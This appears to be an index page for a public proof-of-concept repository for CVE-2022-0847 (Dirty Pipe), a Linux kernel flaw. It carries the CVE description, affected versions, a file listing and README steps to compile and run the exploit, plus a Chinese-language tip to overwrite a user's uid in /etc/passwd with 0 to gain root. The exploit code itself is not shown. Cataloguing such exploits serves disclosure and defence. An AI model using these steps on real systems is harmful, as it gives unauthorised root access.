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CVE-2022-0847 PoC — Linux kernel 安全漏洞

Source
https://github.com/babyshen/CVE-2022-0847
Associated Vulnerability
Title:Linux kernel 安全漏洞 (CVE-2022-0847)
Description:A flaw was found in the way the "flags" member of the new pipe buffer structure was lacking proper initialization in copy_page_to_iter_pipe and push_pipe functions in the Linux kernel and could thus contain stale values. An unprivileged local user could use this flaw to write to pages in the page cache backed by read only files and as such escalate their privileges on the system.
Description
A root exploit for CVE-2022-0847 (Dirty Pipe)
Readme
```
gcc exploit.c -o exploit -std=c99

# 
./exploit 
Usage: ./exp TARGETFILE OFFSET DATA

# 在 /etc/passwd 文件里找到普通用户的 uid 偏移位置，把 uid 修改为 0 即可，重新登陆就是 root 权限

```

```
影响范围

Linux Kernel版本 >= 5.8

Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
```
File Snapshot

 [4.0K]  /data/pocs/2da248c382b7d3a6b0b54178b9b41bff3d25395e
├── [4.6K]  exploit.c
└── [ 323]  README.md

0 directories, 2 files
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